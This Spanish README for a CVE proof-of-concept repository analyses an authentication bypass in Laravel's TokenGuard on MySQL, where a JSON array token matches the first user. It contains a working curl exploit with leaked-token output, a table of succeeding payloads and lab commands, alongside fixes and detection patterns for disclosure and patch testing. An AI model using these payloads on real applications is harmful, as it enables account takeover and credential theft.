
Prueba de concepto, análisis de causa raíz y laboratorio Docker para CVE-2026-114509, un bypass de autenticación no autenticado en Laravel TokenGuard sobre MySQL/MariaDB que conduce a la toma de control de cuentas.
Prueba de concepto, análisis y laboratorio reproducible para CVE-2026-114509, una omisión de
autenticación no autenticada en TokenGuard de Laravel que conduce a la toma de control de cuentas cuando la
aplicación se ejecuta sobre MySQL o MariaDB.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-114509 |
| Aviso | GHSA-f9x3-7vq9-cph6 |
| CVSS v4.0 | 9.2 (Crítica) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H |
| CWE | CWE-1287 (Validación incorrecta del tipo de entrada especificado), CWE-287 (Autenticación incorrecta) |
| Afecta a | laravel/framework < 12.68.0, >= 13.0.0, < 13.29.0 |
| Corregido en | 12.68.0, 13.29.0 |
| Vector | Cuerpo JSON POST/GET con api_token como un array de enteros |
| Impacto | Omisión de autenticación, toma de control de cuentas, divulgación de credenciales |
Un TokenGuard configurado con driver => token y hash => false acepta una credencial
que no es una cadena. Enviar {"api_token":[0]} como cuerpo JSON hace que Laravel construya
whereIn('api_token', [0]). MySQL entonces convierte implícitamente la columna varchar a un entero,
por lo que todo token que no comience con un dígito se evalúa como 0 y coincide. La primera fila
de la tabla users se devuelve a un atacante no autenticado.
curl -s -X GET http://target/api/user \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}
Deben estar presentes tres capas independientes para que la explotación sea posible.
src/Illuminate/Auth/TokenGuard.php (v11.43.0, compilación vulnerable):
$token = $this->getTokenForRequest();
if (! empty($token)) {
$user = $this->provider->retrieveByCredentials([
$this->storageKey => $this->hash ? hash('sha256', $token) : $token,
]);
}
Solo se comprueba empty(). empty([0]) es false porque el array contiene un solo elemento, por lo que
el array pasa directamente al proveedor. No existe una guarda is_string().
INsrc/Illuminate/Auth/EloquentUserProvider.php:
foreach ($credentials as $key => $value) {
if (is_array($value) || $value instanceof Arrayable) {
$query->whereIn($key, $value);
} elseif ($value instanceof Closure) {
$value($query);
} else {
$query->where($key, $value);
}
}
Un array se interpreta como una lista de valores candidatos, por lo que la consulta se convierte en:
select * from `users` where `api_token` in (0)
api_token es una columna varchar. Comparar una columna de tipo cadena con un entero fuerza una conversión implícita del valor de la columna a un número:
select cast('admin_secret_token_12345' as unsigned); -- 0
select cast('abc' as unsigned); -- 0
select cast('1abc' as unsigned); -- 1
Todo token que comienza con una letra se convierte a 0, por lo tanto where api_token in (0) coincide.
PostgreSQL y SQLite rechazan o funcionan incorrectamente con esta comparación, por lo que la vulnerabilidad
es específica de las bases de datos de la familia MySQL.
Medida contra el laboratorio de este repositorio (Laravel 11.43.0, MySQL 8.0.46).
| Payload | Transporte | HTTP | Resultado |
|---|---|---|---|
| (ninguno) | — | 401 | rechazado |
Bearer wrong_token | header | 401 | rechazado |
?api_token=wrong | query string | 401 | rechazado |
?api_token[]=0 | query string | 401 | rechazado — siempre es una cadena |
{"api_token":0} | cuerpo JSON | 401 | rechazado — empty(0) es true |
{"api_token":["0"]} | cuerpo JSON | 401 | rechazado — string vs varchar |
{"api_token":[1]} | cuerpo JSON | 401 | ninguna fila con el valor convertido 1 |
{"api_token":[0.5]} | cuerpo JSON | 401 | discrepancia en la conversión a float |
{"api_token":[0]} | cuerpo JSON | 200 | bypass |
{"api_token":[0,1]} | cuerpo JSON | 200 | bypass |
El payload debe llegar como un array tipado genuino. Los query strings y la codificación de formularios siempre producen cadenas, por lo que se requiere el cuerpo JSON.
Se incluye un laboratorio Docker completo. Consulta docs/reproduction.md para
el recorrido completo, o ejecútalo directamente:
docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed
Añade el nombre de host del laboratorio a /etc/hosts:
echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts
Luego verifica:
./poc.sh http://angkasagroup.co.id
auth:apiapi_token en texto plano
cuando hash => false, lo que hace que el compromiso sea persistenteusers es un administrador, el bypass otorga
privilegios administrativoscomposer require laravel/framework:^12.68
La corrección es una única comprobación de tipo:
if (is_string($token) && ! empty($token)) {
'hash' => true en el guard de la API. El almacenamiento con hash convierte el array en un TypeError
en lugar de una coincidencia.TokenGuard con Laravel Sanctum o Passport, que resuelven los tokens mediante un
índice hash dedicado en lugar de un whereIn sin restricciones.api_token no sea una cadena:if (! is_string(request()->input('api_token'))) {
abort(401);
}
Los registros de la aplicación mostrarán que la autenticación se realiza con éxito sin un inicio de sesión previo. Busque cuerpos de solicitud JSON donde api_token sea un array en lugar de una cadena:
"api_token":[0]
"api_token":[1]
En la capa de base de datos, habilite el registro general de consultas y configure alertas para:
where `api_token` in (0)
.
├── README.md this document
├── docs/
│ ├── CVE-2026-114509.pdf rendered analysis (this README)
│ └── reproduction.md step-by-step lab walkthrough
├── docker-compose.yml nginx + php-fpm + mysql lab
├── docker/
│ ├── Dockerfile
│ ├── nginx.conf
│ └── php.ini
├── src/ Laravel 11.43.0 application
└── poc.sh verification script
Este repositorio existe para investigación defensiva, verificación de parches y pruebas de seguridad autorizadas. Ejecútalo únicamente contra sistemas que poseas o para los que tengas permiso escrito explícito de probar. El acceso no autorizado a sistemas informáticos es un delito penal en la mayoría de las jurisdicciones.
El laboratorio se enlaza a 127.0.0.1 y está destinado únicamente a uso local.